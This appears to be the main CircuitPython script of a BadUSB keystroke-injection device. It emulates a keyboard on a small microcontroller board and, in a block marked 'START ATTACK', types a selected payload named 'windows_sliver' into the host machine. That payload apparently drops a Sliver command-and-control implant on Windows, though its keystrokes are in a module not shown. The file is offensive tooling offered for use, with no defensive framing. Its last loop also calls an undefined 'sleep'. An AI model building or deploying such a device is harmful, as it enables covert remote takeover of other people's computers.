41 lines
733 B
Python
41 lines
733 B
Python
import time, usb_hid, board, neopixel
|
|
|
|
from adafruit_hid.keyboard import Keyboard
|
|
from keyboard_layout_win_de import KeyboardLayout
|
|
|
|
import src.inputs as inputs
|
|
import src.util as util
|
|
|
|
# === CONFIG: ===
|
|
payload = inputs.windows_sliver
|
|
|
|
# === === === ===
|
|
|
|
|
|
# vars
|
|
pixel = neopixel.NeoPixel(board.GP16, 1)
|
|
kbd = Keyboard(usb_hid.devices)
|
|
layout = KeyboardLayout(kbd)
|
|
|
|
# capture debug mode
|
|
if util.is_debug():
|
|
while True:
|
|
# blink led
|
|
util.execute_inputs(
|
|
inputs.debug_blinky,
|
|
kbd, layout, pixel
|
|
)
|
|
|
|
# === START ATTACK ===
|
|
|
|
pixel.fill((10,0,0))
|
|
util.execute_inputs(
|
|
# SELECT PAYLOAD HERE:
|
|
payload,
|
|
kbd, layout, pixel
|
|
)
|
|
|
|
while True:
|
|
pixel.fill((0,100,0))
|
|
sleep(1)
|